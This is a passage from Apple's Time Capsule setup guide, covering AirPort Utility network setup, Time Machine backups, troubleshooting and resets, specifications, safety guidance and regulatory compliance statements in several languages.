Ethernet cable to connect your computer to the LAN port on your Time Capsule. For more information about using Time Machine, see “Using Time Machine with Your Time Capsule” on page 24.  Create a password-protected wireless home network, and then connect to the Internet and share the connection with other computers and Wi-Fi devices, such as iPad, iPhone, iPod touch, and Apple TV. You can also share files among computers connected to the network.  Create a guest network, with or without password protection to provide Internet-only access to wireless devices, such as computers, iPad, iPhone, iPod touch, and Apple TV.  Connect your Time Capsule to your Ethernet network.Wireless-equipped Mac, Windows XP, Windows Vista, or Windows 7 computers can then have access to an entire network without being connected by a cable.  Connect a supported USB printer to your Time Capsule. Compatible computers on the AirPort network, both wireless and wired, can print to it.  Connect an additional USB hard drive to your Time Capsule. Compatible computers on the AirPort network, both wireless and wired, can access information on the hard disk.Chapter 1 Getting Started 7  Connect a USB hub to your Time Capsule, and then connect multiple USB devices, such as printers or hard disks. All computers on the network have access to those devices. Important:  Use AirPort Utility to set up your Time Capsule. Previous versions of AirPort Setup Assistant and AirPort Admin Utility are not compatible with this Time Capsule. AirPort Utility is installed in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows. If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport. Apple periodically updates AirPort software. It’s recommended that you update your software to keep your Time Capsule up to date. Note:  To download a copy of this setup guide in your language, open AirPort Utility and choose Help > AirPort Service and Support, and click Manuals.8 Chapter 1 Getting Started About Your Time Capsule Your Time Capsule has five ports on the back:  One 10/100/1000Base-T Gigabit Ethernet Wide Area Network (WAN) port for connecting a DSL or cable modem, or for connecting to an existing Ethernet network  Three 10/100/1000Base-T Gigabit Ethernet Local Area Network (LAN) ports for connecting Ethernet devices, such as printers or computers, or for connecting to an existing Ethernet network  One USB port for connecting a compatible USB printer, hard drive, or hub for connecting several devices Status light Internet WAN port Power port Power cord USB port Reset button Ethernet ports Security slot Ethernet activity light The reset button next to the ports is used for troubleshooting your Time Capsule. The status light on the front shows the current status.Chapter 1 Getting Started 9 About the AirPort Software Your Time Capsule works with AirPort Utility, installed in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows. If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport. Use AirPort Utility and follow the instructions on the following pages to set up your Time Capsule and your AirPort wireless network. Note:  You must use AirPort Utility v5.5.3 (or later) to set up your Time Capsule. This Time Capsule is not compatible with previous versions of AirPort software. AirPort Utility Use AirPort Utility to set up your Time Capsule to create a wireless network, connect to the Internet, and share compatible USB printers and hard disks. You can also connect your Time Capsule to an existing AirPort Extreme wireless network. AirPort Utility is also an advanced tool for setting up and managing the Time Capsule, AirPort Extreme, and AirPort Express Base Stations. Use it to manually adjust network, routing, and security settings and other advanced options. Z AirPort status menu Use the AirPort status menu in the menu bar to switch quickly between AirPort networks, monitor the signal quality of the current network, create a computer-to-computer network, and turn AirPort on or off. The status menu is available on computers using Mac OS X.10 Chapter 1 Getting Started What You Need to Get Started To use your Time Capsule, you need a wireless-enabled computer that’s compliant with IEEE 802.11a, 802.11b, 802.11g, or IEEE 802.11n standards. To set up your Time Capsule, your computer must meet the requirements listed below. Note:  To use your Time Capsule with Time Machine in Mac OS X, you need to use Mac OS X v10.5.7 or later. To set up your Time Capsule using a Mac, you need the following:  A Mac computer with an AirPort or AirPort Extreme Card installed to set it up wirelessly, or a Mac computer connected to your Time Capsule with an Ethernet cable to set it up using Ethernet  Mac OS X v10.5.7 or later  AirPort Utility v5.5.3 or later To set up your Time Capsule using a Windows computer, you need the following:  A Windows computer with 300 MHz or higher processor speed and a compatible 802.11a, 802.11b, or 802.11g, IEEE 802.11n wireless card, or a Windows computer connected to a Time Capsule with an Ethernet cable to set it up using Ethernet  Windows XP Home or Professional (SP3), Windows Vista (SP2), or Windows 7 (SP1)  AirPort Utility v5.5.3 or laterChapter 1 Getting Started 11 Plugging In Your Time Capsule Before you plug in your Time Capsule, first connect the appropriate cables to the ports you want to use:  Connect the Ethernet cable that’s connected to your DSL or cable modem (if you will connect to the Internet) to the Ethernet WAN (<) port.  Connect a USB cable connected from the USB (d) port on your Time Capsule to a compatible USB printer (if you will print to a USB printer), a hard disk, or a hub.  Connect an Ethernet cable from any Ethernet device to the Ethernet LAN (G) ports. After you’ve connected the cables for all the devices you plan to use, connect the power cord to the power port and plug your Time Capsule into a power outlet. There is no power switch. Important:  Use only the power cord that came with your Time Capsule. When you plug your Time Capsule into a power outlet, the status light flashes green for one second and then glows amber while your Time Capsule starts up. After your Time Capsule has started up completely, the status light flashes amber until your Time Capsule has been updated with the correct settings. The status light glows solid green after your Time Capsule is properly set up and connected to the Internet or a network. When you connect Ethernet cables to the Ethernet ports, the lights above them glow solid green.12 Chapter 1 Getting Started The Time Capsule Status Light The following table explains the Time Capsule light sequences and what they indicate. Light Status/description Off Your Time Capsule is unplugged. Solid amber Your Time Capsule is completing its startup sequence. Flashing amber Your Time Capsule can’t establish a connection to the network or the Internet, or is encountering a problem. Make sure you have installed AirPort Utility and use it to get information about what might cause the status light to flash amber. See “If Your Time Capsule Status Light Flashes Amber” on page 29. Solid green Your Time Capsule is on and working properly. If you choose Flash On Activity from the Status Light pop-up menu (in the Base Station pane of AirPort settings in AirPort Utility), the status light may flash green to indicate normal activity. Flashing amber and green There may be a problem starting up. Your Time Capsule will restart and try again. Solid blue Your Time Capsule is ready to allow a wireless client access to the network. See “Allowing Wireless Clients to Access Your Network Without Entering a Password” on page 23.Chapter 1 Getting Started 13 What’s Next After you plug in your Time Capsule, use AirPort Utility to set it up to work with your Internet connection, USB printer or hard disk, or an existing network. AirPort Utility is located in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows XP or Windows Vista.14 2 Setting Up Your Time Capsule This chapter provides information and instructions for connecting your Time Capsule to the Internet, and using AirPort Utility to set it up to create or join a wireless network. This chapter provides an overview of connecting your Time Capsule to the Internet, and using the setup assistant in AirPort Utility to set up your network and other features of your Time Capsule. For more information about wireless networking, and for information about the advanced features of AirPort Utility, refer to “Apple AirPort Networks” at www.apple.com/support/airport. You can do most of your network setup and configuration tasks using the setup assistant in AirPort Utility. To set advanced options, choose Manual Setup from the Base Station menu of AirPort Utility. See “Setting Advanced Options” on page 22.Chapter 2 Setting Up Your Time Capsule 15 Using Your Time Capsule to Create Your Wireless Network When you set up your Time Capsule to provide network and Internet access, the following computers and devices can access the wireless AirPort network to share files, play games, and use Internet applications such as web browsers and email applications:  Mac computers with AirPort or AirPort Extreme Cards  802.11a, 802.11b, 802.11g, and IEEE 802.11n wireless-equipped computers  Other Wi-Fi devices, such as iPad, iPhone, iPod Touch, and Apple TV Computers connected to your Time Capsule using Ethernet can also access the network to share files and connect to the Internet. With Mac OS X v10.5.7 or later you can set up Time Machine to back up all the computers on the network to your Time Capsule. See “Using Time Machine with Your Time Capsule” on page 24 for more information. When you connect a compatible USB printer to your Time Capsule, supported computers on the network (wired and wireless) can print to it.16 Chapter 2 Setting Up Your Time Capsule Using Time Capsule to create a wireless network to Internet DSL or cable modem < Internet WAN port Shared printer Time Capsule to USB port 2.4 or 5 GHz 2.4 GHz 2.4 or 5 GHz To set it up: 1 Connect your DSL or cable modem to your Time Capsule using the Ethernet WAN (<) port. 2 If you plan to share a USB printer on the network, connect it to the Time Capsule USB (d) port or to a USB hub using a USB cable.Chapter 2 Setting Up Your Time Capsule 17 3 Open AirPort Utility (located in the Utilities folder in the Applications folder on a computer using Mac OS X, and in Start > All Programs > AirPort on a computer using Windows), select your Time Capsule, and then click Continue. 4 Follow the onscreen instructions to create a new network. To print from a computer using Mac OS X v10.5 or later: 1 Choose Apple > System Preferences, and then click Print & Fax. 2 Click Add (+) and select your printer from the list. 3 Click the Add button. If your printer isn’t in the list, use the buttons in the toolbar to search for it. To print from a computer using Mac OS X v10.2.7 or later: 1 Open Printer Setup Utility (located in the Utilities folder in the Applications folder). 2 Select your printer from the list. If your printer isn’t in the list, click Add and choose Bonjour from the pop-up menu, and then select your printer from the list. To print from a computer using Windows XP, Windows Vista, or Windows 7: Use Bonjour for Windows and follow the onscreen instructions to connect to your printer. Computers using AirPort or other compatible wireless cards or adapters can connect to the Internet through your Time Capsule. Computers connected to the Time Capsule Ethernet ports can also access the network and connect to the Internet. Wireless computers and computers connected to the Ethernet ports can also communicate with each other through your Time Capsule.18 Chapter 2 Setting Up Your Time Capsule Using AirPort Utility To set up and configure your Time Capsule, use the setup assistant in AirPort Utility. On a Mac computer using Mac OS X v10.5.7 or later: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder. 2 Select your Time Capsule and click Continue. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. 3 Follow the onscreen instructions to set up your Time Capsule and your wireless network. On a computer using Windows XP (SP3), Windows Vista (SP2), or Windows 7 (SP1): 1 Open AirPort Utility, located in Start > All Programs > AirPort. 2 Select your Time Capsule and click Continue. If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport.Chapter 2 Setting Up Your Time Capsule 19 3 Follow the onscreen instructions to set up your Time Capsule and your wireless network. The AirPort Utility setup assistant asks you questions about the type of network you want to use and the services you want to set up, and helps you enter the appropriate settings. If you’re using your Time Capsule to connect to the Internet, you need a broadband (DSL or cable modem) account with an Internet service provider (ISP), or a connection to the Internet using an existing Ethernet network. If you received specific information from your ISP (such as a static IP address or a DHCP client ID), you may need to enter it in AirPort Utility. Have this information available when you set up your Time Capsule.20 Chapter 2 Setting Up Your Time Capsule Creating a New Wireless Network You can use the AirPort Utility setup assistant to create a new wireless network. The setup assistant guides you through the steps necessary to name your network, protect your network with a password, and set other options. If you plan to share a USB printer or USB hard disk on your network: 1 Connect the printer or hard disk to the Time Capsule USB (d) port. 2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a computer using Windows. 3 Select your Time Capsule and click Continue. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. 4 Follow the onscreen instructions to create a new network. Configuring and Sharing Internet Access If you plan to share your Internet connection with wireless-enabled computers on your network or with computers connected to the Ethernet ports, you need to set up your Time Capsule as an AirPort base station. After your Time Capsule is set up, computers access the Internet through the AirPort network. Your Time Capsule connects to the Internet and transmits information to the computers over the wireless network. Before you use AirPort Utility to set up your Time Capsule, connect your DSL or cable modem to the Time Capsule Ethernet WAN (<) port. If you’re connecting your Time Capsule to an Ethernet network that already has Internet access, connect it to the Ethernet network.Chapter 2 Setting Up Your Time Capsule 21 Use the AirPort Utility setup assistant to enter your ISP settings and configure how your Time Capsule shares the settings with other computers. 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a computer using Mac OS X, or in Start > All Programs > AirPort on a computer using Windows. If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport. 2 Select your Time Capsule and click Continue. If you’re making changes to a Time Capsule that has already been set up, you might have to connect to the network it’s created before making changes to the Time Capsule. To choose the wireless network you want to change on a Mac, use the AirPort status menu in the menu bar. On a computer using Windows, hold the pointer over the wireless connection icon until you see the network name (SSID), and then choose it from the list if there are multiple networks available. 3 Follow the onscreen instructions to configure and share Internet access on your Time Capsule. AirPort Utility provides a quick and easy way to set up your Time Capsule and network. If you want to set additional options for your network, such as restricting access to your network or setting advanced DHCP options, choose Manual Setup from the Base Station menu of AirPort Utility.22 Chapter 2 Setting Up Your Time Capsule Setting Advanced Options Use AirPort Utility to set up your Time Capsule manually if you want to set advanced Time Capsule options such as advanced security options, closed networks, DHCP lease time, access control, power controls, user accounts, and more. To set advanced options: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, and in Start > All Programs > AirPort on a computer using Windows. If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport. 2 If there’s more than one wireless device in the list, select the one you want to configure. If you don’t see the Time Capsule you want to configure, click Rescan to scan for available wireless devices, and then select your Time Capsule from the list. If you’re making changes to a Time Capsule that has already been set up, you might have to connect to the network it’s created before making changes to your Time Capsule. To choose the wireless network you want to change on a Mac, use the AirPort status menu in the menu bar. On a computer using Windows, hold the pointer over the wireless connection icon until you see the network name (SSID), and then choose it from the list if there are multiple networks available. 3 Choose Manual Setup from the Base Station menu. If you’re prompted for a password, enter it. For more about the manual setup features in AirPort Utility, see “Apple AirPort Networks” at www.apple.com/support/airport.Chapter 2 Setting Up Your Time Capsule 23 Allowing Wireless Clients to Access Your Network Without Entering a Password If your network is password-protected using WPA Personal or WPA/WPA2 Personal, you can provide wireless clients access to your network without requiring them to enter the network password. When you allow a client access to your network, the client’s name and wireless MAC address (or AirPort ID) are stored in the access control list of AirPort Utility until you remove the client from the list. You can also provide 24 hours of access, after which time the client can no longer access your network. When you give a client access to your wireless network, the client doesn’t need to enter the network password. To allow a client to access your network without entering the network password: 1 Open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the Base Station menu. Enter the password if necessary. 2 Choose Add Wireless Clients from the Base Station menu. 3 Select how you want the client to access the network:  Select PIN to enter the eight-digit number provided by the client requesting network access.  Select“First attempt”to allow network access to the first client attempting to join the network. While the Time Capsule waits for a client to join the network, the LED glows blue.24 Chapter 2 Setting Up Your Time Capsule Select“Limit client’s access to 24 hours”if you want to provide just one day of access to your network. If you don’t select this option, the client has access until you remove the client from the list. Using Time Machine with Your Time Capsule With the Time Machine application in Mac OS X (Leopard or later) you can back up everything on your computer, including your photos, music, movies, and documents. After you set up Time Machine, it automatically backs up your computer on a regular basis. If you’re using Mac OS X v10.5.7 or later, the first time you connect to your Time Capsule, Time Machine asks if you’d like to use it to back up your files. Click “Use as Backup Disk,” and Time Machine takes care of the rest. Use the Time Machine pane of System Preferences to set up automatic backups, change to a different backup disk, or adjust other settings. To set up or adjust Time Machine on a computer using Mac OS X Leopard or later: 1 Choose Apple > System Preferences, and then click Time Machine. 2 Slide the switch to ON. 3 Click Change Disk. 4 Choose your Time Capsule and click “Use for Backup.”Chapter 2 Setting Up Your Time Capsule 25 Your first backup with Time Capsule and Time Machine could take overnight or longer, depending on how much data you’re backing up. To speed up the initial backup, connect your Time Capsule to your computer using Ethernet. In each subsequent backup, Time Machine backs up only files that have changed since the previous backup, so the backups don’t take as long. Time Capsule is a great wireless backup solution for portable computers. Since the first backup can take some time, plug your portable into a power adapter—this conserves battery power and guarantees that backups won’t be interrupted. Also, for the best wireless performance, place your portable computer in the same room as your Time Capsule. If you shut down your Mac or put it to sleep during a backup, Time Machine stops the backup and then continues from where it left off after your Mac starts up again. For more information about Time Machine, choose Help > Mac Help from the Finder menu on a computer using Mac OS X Leopard or later, and then type Time Machine in the search field.26 3 Tips and Troubleshooting You can quickly solve most problems with your Time Capsule by following the advice in this chapter. If You Can’t Connect to the Internet  Try connecting to the Internet directly from your computer. If you can’t connect, check to make sure your network settings are correct. If they appear to be correct and you still can’t connect, contact your Internet service provider (ISP).  Make sure you’re connecting to the correct wireless network. If You Forgot Your Network Password or Time Capsule Password You can clear the AirPort network password or Time Capsule password by resetting your Time Capsule. To reset the Time Capsule password: 1 Use something pointed (such as a ballpoint pen) to press and hold down the reset button for one second. Important:  If you hold the reset button for more than one second, you may lose your network settings.Chapter 3 Tips and Troubleshooting 27 2 Select your AirPort network.  On a Mac, use the AirPort status menu in the menu bar to select the network created by your Time Capsule (the network name doesn’t change).  On a computer using Windows, hold the pointer over the wireless connection icon until you see your AirPort network name (SSID), and choose it from the list if there are multiple networks available. 3 Open AirPort Utility (in the Utilities folder in the Applications folder on a Mac, and in Start > All Programs > AirPort on a computer using Windows). If AirPort Utility isn’t installed on your computer, you can download it from www.apple.com/support/airport. 4 Select your Time Capsule, and then choose Manual Setup from the Base Station menu. 5 Click AirPort in the toolbar, and then click Base Station. 6 Enter a new password for your Time Capsule. 7 Click Wireless and choose an encryption method from the Wireless Security pop-up menu to turn on encryption and activate password protection for your AirPort network. If you turn on encryption, enter a new password for your AirPort network. 8 Click Update to restart your Time Capsule and load the new settings.28 Chapter 3 Tips and Troubleshooting If Your Time Capsule Isn’t Responding Try unplugging it and plugging it back in. If your Time Capsule stops responding completely, you may need to reset it to the factory default settings. Important:  Resetting your Time Capsule to factory default settings erases all of the current settings and resets them to the settings that came with your Time Capsule. To return your Time Capsule to the factory settings: m Use something pointed (such as a ballpoint pen) to press down and hold the reset button until the status light flashes quickly (about 5 seconds). Your Time Capsule resets with the following settings:  Your Time Capsule receives its IP address using DHCP.  The network name is reset to Apple Network XXXXXX (where XXXXXX is replaced with the last six digits of the AirPort ID).  The Time Capsule password is reset to public. If your Time Capsule still isn’t responding, try the following: 1 Unplug your Time Capsule. 2 Use something pointed to press and hold down the reset button while you plug in your Time Capsule.Chapter 3 Tips and Troubleshooting 29 If Your Time Capsule Status Light Flashes Amber The Ethernet cable may not be connected properly, your Time Capsule may be out of range of an AirPort network, or there may be a problem with your Internet service provider. If you’re connected to the Internet with a DSL or cable modem, the modem may have lost its connection to the network or the Internet. Even if the modem seems to be working properly, try disconnecting it from its power supply, waiting a few seconds, and then reconnecting it. Make sure your Time Capsule is connected directly to the modem via Ethernet before reconnecting power to the modem. For more information about why the light is flashing, open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the Base Station menu. Click Base Station Status to display information about the flashing light. You can also select“Monitor base station for problems”in AirPort preferences. If the base station has a problem, AirPort Utility opens and walks you through solving the problem.30 Chapter 3 Tips and Troubleshooting If Your Printer Isn’t Responding If you connected a printer to the USB port on your Time Capsule and the computers on the AirPort network can’t print, try the following: 1 Make sure the printer is plugged in and turned on. 2 Make sure the cables are securely connected to the printer and to the Time Capsule USB port. 3 Make sure the printer is selected in the Printer List window on client computers. On a Mac using Mac OS X v10.5 or later:  Choose Apple > System Preferences, and then click Print & Fax.  Click Add (+) and select your printer in the list, and then click Add (+). On a Mac using Mac OS X v10.2.7 or later:  Open Printer Setup Utility, located in the Utilities folder in the Applications folder.  If the printer isn’t in the list, click Add.  Choose Bonjour from the pop-up menu, select the printer and click Add (+). On a computer using Windows:  Open “Printers and Faxes”from the Start menu.  Select the printer. If the printer isn’t in the list, click Add Printer and then follow the onscreen instructions.  If Bonjour for Windows is installed, click the Bonjour Printer, click the Bonjour Printer Wizard on the desktop, and then follow the onscreen instructions for setting up a printer. 4 Turn off the printer, wait a few seconds, and then turn it back on.Chapter 3 Tips and Troubleshooting 31 Updating AirPort Software Apple periodically updates AirPort software. It is recommended that you update your Time Capsule to use the latest software. You can select“Check for updates when opening AirPort Utility,” or“Check for updates” in AirPort preferences. If you select“Check for updates,” choose an increment of time, such as weekly, from the pop-up menu to automatically check for updates. Time Capsule Placement Considerations The following recommendations can help your Time Capsule achieve the best wireless range and network coverage.  Place your Time Capsule in an open area where there are few obstructions, such as large pieces of furniture or walls. Try to place it away from metallic surfaces.  If you place your Time Capsule behind furniture, keep at least an inch of space between the Time Capsule and the edge of the furniture.  Avoid placing your Time Capsule in areas surrounded by metal surfaces on three or more sides.  If you place your Time Capsule in an entertainment center with your stereo equipment, avoid surrounding your Time Capsule with audio, video, or power cables. Place your Time Capsule so that the cables are to one side. Maintain as much space as possible between your Time Capsule and the cables.  Try to place your Time Capsule at least 25 feet (7.6 meters) from any microwave oven, 2.4 or 5 gigahertz (GHz) cordless phone, and other sources of interference.  Do not place other objects (books, papers, small pets, etc.) on top of the Time Capsule. It may interfere with Time Capsule cooling.32 Chapter 3 Tips and Troubleshooting Items That Can Cause Interference with AirPort The farther away the interference source, the less likely it is to cause a problem. The following can interfere with AirPort communication:  Microwave ovens  Direct Satellite Service (DSS) radio frequency leakage  The original coaxial cable that came with certain types of satellite dishes. Contact the device manufacturer and obtain newer cables.  Certain electrical devices such as power lines, electrical railroad tracks, and power stations.  Cordless telephones that operate in the 2.4 or 5 GHz range. If you have problems with your phone or AirPort communication, change the channel your base station or Time Capsule uses, or change the channel your phone uses.  Nearby base stations using adjacent channels. For example, if base station A is set to channel 1, base station B should be set to channel 6 or 11.4 33 Learning More, Service, and Support You can find more information about using your Time Capsule on the web and in onscreen help. Online Resources For the latest information about the Time Capsule, go to www.apple.com/airport. To register your Time Capsule, go to www.apple.com/register. For AirPort support information, forums with product-specific information and feedback, and the latest Apple software downloads, go to www.apple.com/support/airport. For support outside of the United States, go to www.apple.com/support, and then choose your country.34 Chapter 4 Learning More, Service, and Support Onscreen Help To learn more about using AirPort Utility with your Time Capsule, open AirPort Utility and choose Help > AirPort Utility Help. Obtaining Warranty Service If your Time Capsule appears to be damaged or doesn’t function properly, follow the advice in this booklet, the onscreen help, and the online resources. If your Time Capsule still doesn’t function, go to www.apple.com/support for information about getting warranty service. Finding the Serial Number of Your Time Capsule The serial number is printed on the bottom of your Time Capsule.35 Appendix Time Capsule Specifications and Safety Guidelines Time Capsule Specifications  Frequency Band: 2.4 and 5 GHz  Radio Output Power: Up to 23 dBm (nominal)  Standards: 802.11 DSSS 1 and 2 Mbps standard, 802.11a, 802.11b, 802.11g, and 802.11n specifications Interfaces  1 RJ-45 10/100/1000Base-T Gigabit Ethernet WAN (<)  3 RJ-45 10/100/1000Base-T Gigabit Ethernet LAN (G)  Universal Serial Bus (USB d) 2.0  802.11 a/b/g/n AirPort Extreme wireless Environmental Specifications  Operating Temperature: 32° F to 95° F (0° C to 35° C)  Storage Temperature: –13° F to 140° F (–25° C to 60° C)  Relative Humidity (Operational): 20% to 80% relative humidity  Relative Humidity (Storage): 10% to 90% relative humidity, noncondensing36 Appendix Time Capsule Specifications and Safety Guidelines Size and Weight  Length: 7.75 inches (197.0 mm)  Width: 7.75 inches (197.0 mm)  Height: 1.43 inches (36.33 mm)  Weight: 3.5 pounds (1.6 kilograms) Hardware Media Access Control (MAC) Addresses The Time Capsule has three hardware addresses printed on the bottom of the case:  AirPort ID: The two addresses used to identify the Time Capsule on a wireless network.  Ethernet ID: You may need to provide this address to your ISP to connect your Time Capsule to the Internet. Using Your Time Capsule Safely  The only way to shut off power completely to your Time Capsule is to disconnect it from the power source.  When connecting or disconnecting your Time Capsule, always hold the plug by its sides. Keep fingers away from the metal part of the plug.  Your Time Capsule should not be opened for any reason, even when it’s unplugged. If your Time Capsule needs service,see“Learning More, Service, and Support”on page 33.  Never force a connector into a port. If the connector and port don’t join with reasonable ease, they probably don’t match. Make sure that the connector matches the port and that you’ve positioned the connector correctly in relation to the port.Appendix Time Capsule Specifications and Safety Guidelines 37 About Operating and Storage Temperatures When you’re using your Time Capsule, it is normal for the case to get warm. The Time Capsule case functions as a cooling surface that transfers heat from inside the unit to the cooler air outside. Avoid Wet Locations WARNING:  To reduce the chance of shock or injury, do not use your Time Capsule in or near water or wet locations.  Keep your Time Capsule away from sources of liquid, such as drinks, washbasins, bathtubs, shower stalls, and so on.  Protect your Time Capsule from direct sunlight and rain or other moisture.  Take care not to spill any food or liquid on your Time Capsule. If you do, unplug it before cleaning up the spill.  Do not use your Time Capsule outdoors. The Time Capsule is an indoor product. Do Not Make Repairs Yourself WARNING:  Do not attempt to open your Time Capsule or disassemble it. You run the risk of electric shock and voiding the limited warranty. No user-serviceable parts are inside. About Handling Your Time Capsule may be damaged by improper storage or handling. Be careful not to drop your Time Capsule when transporting it.38 FCC Declaration of Conformity This device complies with part 15 of the FCC rules. Operation is subject to the following two conditions: (1) This device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. See instructions if interference to radio or television reception is suspected. Radio and Television Interference This computer equipment generates, uses, and can radiate radiofrequency energy. If it is not installed and used properly—that is, in strict accordance with Apple’s instructions—it may cause interference with radio and television reception. This equipment has been tested and found to comply with the limits for a Class B digital device in accordance with the specifications in Part 15 of FCC rules. These specifications are designed to provide reasonable protection against such interference in a residential installation. However, there is no guarantee that interference will not occur in a particular installation. You can determine whether your computer system is causing interference by turning it off. If the interference stops, it was probably caused by the computer or one of the peripheral devices. If your computer system does cause interference to radio or television reception, try to correct the interference by using one or more of the following measures: • Turn the television or radio antenna until the interference stops. • Move the computer to one side or the other of the television or radio. • Move the computer farther away from the television or radio. • Plug the computer into an outlet that is on a different circuit from the television or radio. (That is, make certain the computer and the television or radio are on circuits controlled by different circuit breakers or fuses.) If necessary, consult an Apple Authorized Service Provider or Apple. See the service and support information that came with your Apple product. Or, consult an experienced radio/television technician for additional suggestions. Important:  Changes or modifications to this product not authorized by Apple Inc. could void the EMC compliance and negate your authority to operate the product. This product was tested for FCC compliance under conditions that included the use of Apple peripheral devices and Apple shielded cables and connectors between system components. It is important that you use Apple peripheral devices and shielded cables and connectors between system components to reduce the possibility of causing interference to radios, television sets, and other electronic devices. You can obtain Apple peripheral devices and the proper shielded cables and connectors through an Appleauthorized dealer. For non-Apple peripheral devices, contact the manufacturer or dealer for assistance. Responsible party (contact for FCC matters only) Apple Inc. Corporate Compliance 1 Infinite Loop M/S 26-A Cupertino, CA 95014 Wireless Radio Use This device is restricted to indoor use when operating in the 5.15 to 5.25 GHz frequency band. Cet appareil doit être utilisé à l’intérieur. Exposure to Radio Frequency Energy The radiated output power of the AirPort Card in this device is below the FCC and EU radio frequency exposure limits for uncontrolled equipment. This device should be operated with a minimum distance of at least 20 cm between the AirPort Card antennas and a person’s body and must not be co-located or operated with any other antenna or transmitter subject to the conditions of the FCC Grant.39 Canadian Compliance Statement This device complies with Industry Canada license-exempt RSS standard(s). Operation is subject to the following two conditions: (1) this device may not cause interference, and (2) this device must accept any interference, including interference that may cause undesired operation of the device. Cet appareil est conforme aux normes CNR exemptes de licence d’Industrie Canada. Le fonctionnement est soumis aux deux conditions suivantes : (1) cet appareil ne doit pas provoquer d’interférences et (2) cet appareil doit accepter toute interférence, y compris celles susceptibles de provoquer un fonctionnement non souhaité de l’appareil. Industry Canada Statement Complies with the Canadian ICES-003 Class B specifications. Cet appareil numérique de la classe B est conforme à la norme NMB-003 du Canada. This device complies with RSS 210 of Industry Canada. Europe–EU Declaration of Conformity Български Apple Inc. декларира, че това WLAN Access Point е в съответствие със съществените изисквания и другите приложими правила на Директива 1999/5/ЕС. Česky Společnost Apple Inc. tímto prohlašuje, že tento WLAN Access Point je ve shodě se základními požadavky a dalšími příslušnými ustanoveními směrnice 1999/5/ES. Dansk Undertegnede Apple Inc. erklærer herved, at følgende udstyr WLAN Access Point overholder de væsentlige krav og øvrige relevante krav i direktiv 1999/5/EF. Deutsch Hiermit erklärt Apple Inc., dass sich das Gerät WLAN Access Point in Übereinstimmung mit den grundlegenden Anforderungen und den übrigen einschlägigen Bestimmungen der Richtlinie 1999/5/EG befinden. Eesti Käesolevaga kinnitab Apple Inc., et see WLAN Access Point vastab direktiivi 1999/5/EÜ põhinõuetele ja nimetatud direktiivist tulenevatele teistele asjakohastele sätetele. English Hereby, Apple Inc. declares that this WLAN Access Point is in compliance with the essential requirements and other relevant provisions of Directive 1999/5/EC. Español Por medio de la presente Apple Inc. declara que este WLAN Access Point cumple con los requisitos esenciales y cualesquiera otras disposiciones aplicables o exigibles de la Directiva 1999/5/CE. Ελληνικά Mε την παρούσα, η Apple Inc. δηλώνει ότι αυτή η συσκευή WLAN Access Point συμμορφώνεται προς τις βασικές απαιτήσεις και τις λοιπές σχετικές διατάξεις της Οδηγίας 1999/5/ΕΚ. Français Par la présente Apple Inc. déclare que l’appareil WLAN Access Point est conforme aux exigences essentielles et aux autres dispositions pertinentes de la directive 1999/5/CE. Islenska Apple Inc. lýsir því hér með yfir að þetta tæki WLAN Access Point fullnægir lágmarkskröfum og öðrum viðeigandi ákvæðum Evróputilskipunar 1999/5/EC. Italiano Con la presente Apple Inc. dichiara che questo dispositivo WLAN Access Point è conforme ai requisiti essenziali ed alle altre disposizioni pertinenti stabilite dalla direttiva 1999/5/CE. Latviski Ar šo Apple Inc. deklarē, ka WLAN Access Point ierīce atbilst Direktīvas 1999/5/EK būtiskajām prasībām un citiem ar to saistītajiem noteikumiem. Lietuvių Šiuo „Apple Inc.“ deklaruoja, kad šis WLAN Access Point atitinka esminius reikalavimus ir kitas 1999/5/EB Direktyvos nuostatas. Magyar Alulírott, Apple Inc. nyilatkozom, hogy a WLAN Access Point megfelel a vonatkozó alapvetõ követelményeknek és az 1999/5/EC irányelv egyéb elõírásainak. 40 Malti Hawnhekk, Apple Inc., jiddikjara li dan WLAN Access Point jikkonforma mal-ħtiġijiet essenzjali u ma provvedimenti oħrajn relevanti li hemm fid-Dirrettiva 1999/5/EC. Nederlands Hierbij verklaart Apple Inc. dat het toestel WLAN Access Point in overeenstemming is met de essentiële eisen en de andere bepalingen van richtlijn 1999/5/EG. Norsk Apple Inc. erklærer herved at dette WLAN Access Point -apparatet er i samsvar med de grunnleggende kravene og øvrige relevante krav i EU-direktivet 1999/5/EF. Polski Niniejszym Apple Inc. oświadcza, że ten WLAN Access Point są zgodne z zasadniczymi wymogami oraz pozostałymi stosownymi postanowieniami Dyrektywy 1999/5/EC. Português Apple Inc. declara que este dispositivo WLAN Access Point está em conformidade com os requisitos essenciais e outras disposições da Directiva 1999/5/CE. Română Prin prezenta, Apple Inc. declară că acest aparat WLAN Access Point este în conformitate cu cerinţele esenţiale şi cu celelalte prevederi relevante ale Directivei 1999/5/CE. Slovensko Apple Inc. izjavlja, da je ta WLAN Access Point skladne z bistvenimi zahtevami in ostalimi ustreznimi določili direktive 1999/5/ES. Slovensky Apple Inc. týmto vyhlasuje, že toto WLAN Access Point spĺňa základné požiadavky a všetky príslušné ustanovenia Smernice 1999/5/ES. Suomi Apple Inc. vakuuttaa täten, että tämä WLAN Access Point tyyppinen laite on direktiivin 1999/5/EY oleellisten vaatimusten ja sitä koskevien direktiivin muiden ehtojen mukainen. Svenska Härmed intygar Apple Inc. att denna WLAN Access Point står i överensstämmelse med de väsentliga egenskapskrav och övriga relevanta bestämmelser som framgår av direktiv 1999/5/EG. A copy of the EU Declaration of Conformity is available at: www.apple.com/euro/compliance This Apple WLAN Access Point can be 